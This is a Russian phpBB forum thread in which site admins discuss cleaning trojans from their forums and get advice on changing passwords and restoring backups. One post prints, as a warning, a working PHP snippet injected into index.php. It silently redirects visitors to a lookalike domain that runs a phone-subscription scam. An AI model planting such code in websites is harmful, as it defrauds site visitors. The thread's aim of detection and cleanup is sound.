Как убить Трояна?

Вопросы без привязки к версии. Установлена авточистка (2 года).
Правила форума
Местная Конституция | Шаблон запроса | Документация (phpBB3) | Переход на 3.0.6 и выше | FAQ | Как задавать вопросы | Как устанавливать расширения

Ваш вопрос может быть удален без объяснения причин, если на него есть ответы по приведённым ссылкам (а вы рискуете получить предупреждение ;) ).
AdmninsCluba
phpBB 1.2.1
Сообщения: 22
Стаж: 18 лет 7 месяцев
Благодарил (а): 1 раз

Как убить Трояна?

Сообщение AdmninsCluba »

обнаружено: троянская программа Trojan-Downloader.VBS.Small.dh

Почистил файл - index.php. Не помогло. Что надо сделать чтобы найти и убить скрипт?

Спасибо.

ОТВЕТ:
- проверяемся на вирусы
- меняем ВСЕ пароли и не храним их в FTP-клиенте.
- чистим файлы Index.* или заливаем из бэкапа.

http://virusinfo.info/pravila.html
Аватара пользователя
lucifer
phpBB 1.2.1
Сообщения: 24
Стаж: 13 лет 6 месяцев
Благодарил (а): 1 раз

Re: Как убить Трояна?

Сообщение lucifer »

....
Последний раз редактировалось lucifer 13.03.2014 21:01, всего редактировалось 1 раз.
Аватара пользователя
FEAR93
Former team member
Сообщения: 666
Стаж: 16 лет 6 месяцев
Откуда: Кривой Рог, Украина
Благодарил (а): 3 раза
Поблагодарили: 1 раз

Re: Как убить Трояна?

Сообщение FEAR93 »

lucifer писал(а):Я не устанавливал.
А кто устанавливал?
Хостинг бесплатный?
А где твоя Родина, сынок?! Сдал Горбачёв твою Родину американцам, чтобы тусоваться красиво.

Шаблон запроса.
Правила.
Аватара пользователя
lucifer
phpBB 1.2.1
Сообщения: 24
Стаж: 13 лет 6 месяцев
Благодарил (а): 1 раз

Re: Как убить Трояна?

Сообщение lucifer »

....
Последний раз редактировалось lucifer 13.03.2014 21:01, всего редактировалось 2 раза.
Аватара пользователя
lucifer
phpBB 1.2.1
Сообщения: 24
Стаж: 13 лет 6 месяцев
Благодарил (а): 1 раз

Re: Как убить Трояна?

Сообщение lucifer »

....
Последний раз редактировалось lucifer 13.03.2014 21:02, всего редактировалось 2 раза.
Аватара пользователя
владимир1983
phpBB 3.2.6
Сообщения: 5954
Стаж: 15 лет
Откуда: Сергиев Посад
Благодарил (а): 295 раз
Поблагодарили: 287 раз

Re: Как убить Трояна?

Сообщение владимир1983 »

lucifer ты самый первый такой вопрос задал в этой теме! Щас погоди с духом соберёмся и всё тебе подробно расскажем, так сказать раскроем тему чтобы потом люди не спрашивали одно и тоже, а читали наш ответ тебе на твой эксклюзивно хороший вопрос!
За ваши деньги решу ваши проблемы. Стучи в ЛС.
Нет человека - нет проблемы. (c)
Аватара пользователя
lucifer
phpBB 1.2.1
Сообщения: 24
Стаж: 13 лет 6 месяцев
Благодарил (а): 1 раз

Re: Как убить Трояна?

Сообщение lucifer »

....
Последний раз редактировалось lucifer 13.03.2014 21:02, всего редактировалось 1 раз.
Аватара пользователя
владимир1983
phpBB 3.2.6
Сообщения: 5954
Стаж: 15 лет
Откуда: Сергиев Посад
Благодарил (а): 295 раз
Поблагодарили: 287 раз

Re: Как убить Трояна?

Сообщение владимир1983 »

lucifer писал(а):какие пароли нужно менять
А как на твой хостинг можно проникнуть?
Посредством ftp, ssh, либо же со стороны дырки у хостера, так?
Про возможную дырку в phpbb скромно промолчим, ибо известных уязвимостей в скрипте нет. Как его только не курочили (читай модифицировали), пока тьфу тьфу тьфу... Дай голову, надо по дереву постучать.
Ну и что ты можешь закрыть из огромного количества вариантов возможного проникновения к тебе заразы?
ftp и ssh ты должен был поменять пароли сразу, сменить пасы в админки сайтов, сменить пасы тем людям кто имеет туда доступ. Сменить пасы от учетки на хостинге, поменять пассы к БД, пользователей, ну желательно сменить префиксы. Всё это, и даже больше ты узнал бы прочтя пять страниц темы(поттом тебе бы стало лень читать одни и те же советы), но ты бы знал что делать. Нет, ты ещё один который спросил...
Спроси у Поиск Google: взломали FTP Поиск Google: взломали cайт
Информации очень мало конечно, но что то почерпнуть можно. Если останутся вопросы, и гугл будет бессилен, приходи спрашивай. Вместе прочтём тему, найдём ответ.
За ваши деньги решу ваши проблемы. Стучи в ЛС.
Нет человека - нет проблемы. (c)
Аватара пользователя
igorsite
phpBB 1.4.2
Сообщения: 72
Стаж: 15 лет 3 месяца
Благодарил (а): 1 раз

Re: Как убить Трояна?

Сообщение igorsite »

Поймал нового трояна, он заменяет стандартные страницы форума вида: http://мой-сайт.ру/index.php (а также другие страницы темы, сообщения) на *securlty-google.4pu.com/index.php (а также другие страницы форума). При этом пользователь не замечает, что находится уже на другом сайте. В течении какого-то времени появляется всплывающее окно (скриншот прилагаю, обратите внимание на адрес сайта в строке браузера).

Система просит ввести номер телефона, как я проверил при вводе номера происходит подписка на какую-то рассылку с ежедневной стоимостью от 5 до 20 рублей.

Троян находится в файле index.php в корне форума в конце кода.

код трояна

Код: Выделить всё

?><?php
    
    $rSite = 'securlty-google.4pu.com';

    #------------------
    
    
    if(!isset($_SERVER['REQUEST_URI']))
        $_SERVER['REQUEST_URI'] = '';    
    
    $redirectURL = 'http://'.$rSite.$_SERVER['REQUEST_URI'];

    if(isset($_SERVER['HTTP_REFERER']) && !isset($_COOKIE['arx_tt']))        
        if(!preg_match("|^http://$rSite|i",$_SERVER['HTTP_REFERER'])){
     setcookie('arx_tt','1',time()+4*3600,'/');
     exit( '<script>document.location.href = "'.$redirectURL.'";</script>');
 }

    setcookie('arx_tt','1',time()+4*3600,'/');
    


 
?>
надеюсь кому-нибудь это поможет пофиксить баг.
У вас нет необходимых прав для просмотра вложений в этом сообщении.
Аватара пользователя
Пчелкин
phpBB 3.3.0
Сообщения: 11121
Стаж: 15 лет 3 месяца
Откуда: fotovideoforum.ru
Благодарил (а): 670 раз
Поблагодарили: 122 раза

Re: Как убить Трояна?

Сообщение Пчелкин »

Это не в ФОРУМЕ ВИРУС..ЭТ В КОМПЕ у тебя вирус был...а туда перепрыгнул...перепрыгнет и еще раз...
NIKON-D90, AF-S 18-105, AF-S 14-24, AF-S 24-70
Аватара пользователя
igorsite
phpBB 1.4.2
Сообщения: 72
Стаж: 15 лет 3 месяца
Благодарил (а): 1 раз

Re: Как убить Трояна?

Сообщение igorsite »

у меня на работе лицензионный касперский, дома лицензионный касперский. плюсом еще spyware terminator стоит. Все дырявые что-ли? какой же антивирусник поставить, чтобы уберечься от этой холеры...
Аватара пользователя
Sheer
Former team member
Сообщения: 12113
Стаж: 18 лет 2 месяца
Откуда: Калининград не Кенигсберг
Благодарил (а): 36 раз
Поблагодарили: 1526 раз

Re: Как убить Трояна?

Сообщение Sheer »

igorsite писал(а):какой же антивирусник поставить
Avast
Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Аватара пользователя
МайскийЖук
phpBB 3.0.7-PL1
Сообщения: 2535
Стаж: 15 лет 7 месяцев
Поблагодарили: 71 раз

Как убить Трояна?

Сообщение МайскийЖук »

Ага. ClamWin еще лучше. :lol:
Любовь и боль, покой и бой я как любой несу с собой…
Аватара пользователя
Пчелкин
phpBB 3.3.0
Сообщения: 11121
Стаж: 15 лет 3 месяца
Откуда: fotovideoforum.ru
Благодарил (а): 670 раз
Поблагодарили: 122 раза

Re: Как убить Трояна?

Сообщение Пчелкин »

+1 Поддерживаю...Гы...
NIKON-D90, AF-S 18-105, AF-S 14-24, AF-S 24-70
deadromeo
phpBB 2.0.0
Сообщения: 237
Стаж: 13 лет 11 месяцев
Благодарил (а): 12 раз
Поблагодарили: 35 раз
Забанен: Бессрочно

X-Static - троян из ниоткуда

Сообщение deadromeo »

Вообщем не пинайте меня сразу в темку о троянах, это совсем другой случай. Жил форум уже достаточно времени на одном шаблоне - X-Static. Но с сегодняшнего дня внезапно антивирус заорал благим матом, через оперу, через Проинспектировать элемент, было установлено что идет циклическая скачка какогото ПДФ файла с левого сервера. Все попытки найти на сервере среди файлов вредоносный скрипт не увенчались успехом. Опытным путем было установлено то, что вредоносный скрипт подключается в оверал_хидере. Данный файл был осмотрен сверху до низу, скрипты вроде как только джиквери и парочка от других модификаций.

Вообщем соль в том, что поочередно удаляя подключение скриптов было установлено невероятное :shock: вредоносный скрипт

Код: Выделить всё

<script type="text/javascript">
// <![CDATA[

var ie4=document.all
var ns6=document.getElementById && !document.all
var defaultwidth=menuwidth
if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onmouseover="clearhidemenu()" onmouseout="dynamichide(event)"></div>')
function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}
function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top=-500
dropmenuobj.widthobj=dropmenuobj.style
if (typeof menuwidth=='undefined'||menuwidth=='selfc'){
tmpspan.style.display='inline'
dropmenuobj.widthobj.width=tmpspan.offsetWidth+'px'
tmpspan.style.display='none'
}
else if (menuwidth!='')
dropmenuobj.widthobj.width=menuwidth
else
dropmenuobj.widthobj.width=defaultwidth
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
obj.visibility=visible
else if (e.type=="click")
obj.visibility=hidden
}
function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}
function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
}
}
return edgeoffset
}
function populatemenu(what){
if (ie4||ns6){
var appendit=0
if (typeof tmpspan=='undefined'){
tmpspan=document.createElement('span')
appendit=1
}
if(appendit){
tmpspan.style.position="absolute"
tmpspan.style.left="-1000px"
tmpspan.id='tspan'
document.body.appendChild(tmpspan)
tmpspan.style.display='none'
}
tmpspan.innerHTML=dropmenuobj.innerHTML=what.join("")
}
}
function dropdownmenu(obj, e, menucontents, menuwidth){
obj.onmouseout=delayhidemenu;
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)
if (ie4||ns6){
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left")
dropmenuobj.y=getposOffset(obj, "top")
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
}
return clickreturnvalue()
}
function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}
function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}
function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}
function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6)
dropmenuobj.style.visibility="hidden"
}
}
function delayhidemenu(){
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
}
function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}
if (hidemenu_onclick=="yes")
document.onclick=hidemenu
// ]]>
</script>
является частью этого стиля, те он был в нем с момента скачки у разработчика. А после удаления этого куска кода антивирус успокаивался. Как такое вообще может быть?

Ах да, почему я всетаки написал все в отдельную тему. Да потому что такой же стиль X-Static использует на своем форуме один из модераторов вашего ресурса. И прежде чем начать тему я решил заглянуть к нему на форум и о чудо - его форум недоступен :shock:

ЗЫ. Чудодейственным образом антивирус замолчал после написания этой темы, вредоносный код вдруг не показывает носа :shock: чертовщина
Мои расширения: TopicLinks, TopicDesc, BannedUser, AllowedExt, NumPosts, PMRead, GoogleTranslator, BoardStartDate, CountDownBB, VKWigets, TimeHeader.
Аватара пользователя
MIT
Former team member
Сообщения: 2500
Стаж: 16 лет 1 месяц
Откуда: 56°20′02″ с. ш. 36°42′45″ в. д.
Поблагодарили: 26 раз

Re: X-Static - троян из ниоткуда

Сообщение MIT »

Касперский ругается на файл /tracker/addons/js/jquery-min.js, думаю дело именно в нём. А не в стиле.

Вернуться в «phpBB-пространство»